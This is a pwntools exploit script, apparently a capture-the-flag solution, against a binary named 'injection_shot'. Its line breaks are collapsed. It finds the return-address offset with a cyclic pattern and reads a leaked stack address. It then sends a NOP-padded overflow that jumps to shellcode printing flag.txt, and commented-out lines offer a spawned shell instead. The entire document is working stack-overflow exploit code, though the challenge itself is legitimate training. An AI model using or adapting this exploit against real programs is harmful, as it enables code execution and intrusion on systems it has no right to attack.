from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)deffind_ip(payload): p =process(exe) p.sendlineafter('>', '1') p.sendlineafter('>', payload)# Wait for the process to crash p.wait()# Print out the address of EIP/RIP at the time of crashing# ip_offset = cyclic_find(p.corefile.pc) # x86 ip_offset =cyclic_find(p.corefile.read(p.corefile.sp, 4))# x64info('located EIP/RIP offset at {a}'.format(a=ip_offset))return ip_offset# Specify your GDB script here for debugginggdbscript ='''init-pwndbgbreakrva 0x934continue'''.format(**locals())# Set up pwntools for the correct architectureexe ='./injection_shot'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Enable verbose logging so we can see exactly what is being sent (info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Pass in pattern_size, get back EIP/RIP offsetoffset =find_ip(cyclic(100))# Start programio =start()# Get the stack addressio.sendlineafter('>', '1')stack_addr =int(re.search(r"(0x[\w\d]+)", io.recvlineS()).group(0), 16)info("leaked stack_addr: %#x", stack_addr)# Build shellcode (cat flag.txt or spawn shell)# shellcode = asm(shellcraft.sh())shellcode =asm(shellcraft.cat('flag.txt'))# Pad shellcode with NOPs until we get to return addresspadding =asm('nop')* offset# Build the payloadpayload =flat([ padding, stack_addr + offset +8, shellcode])io.sendlineafter('>', payload)# Exploit# Get our flag!io.recvline()flag = io.recv()success(flag)# Or, spawn a shell# io.interactive()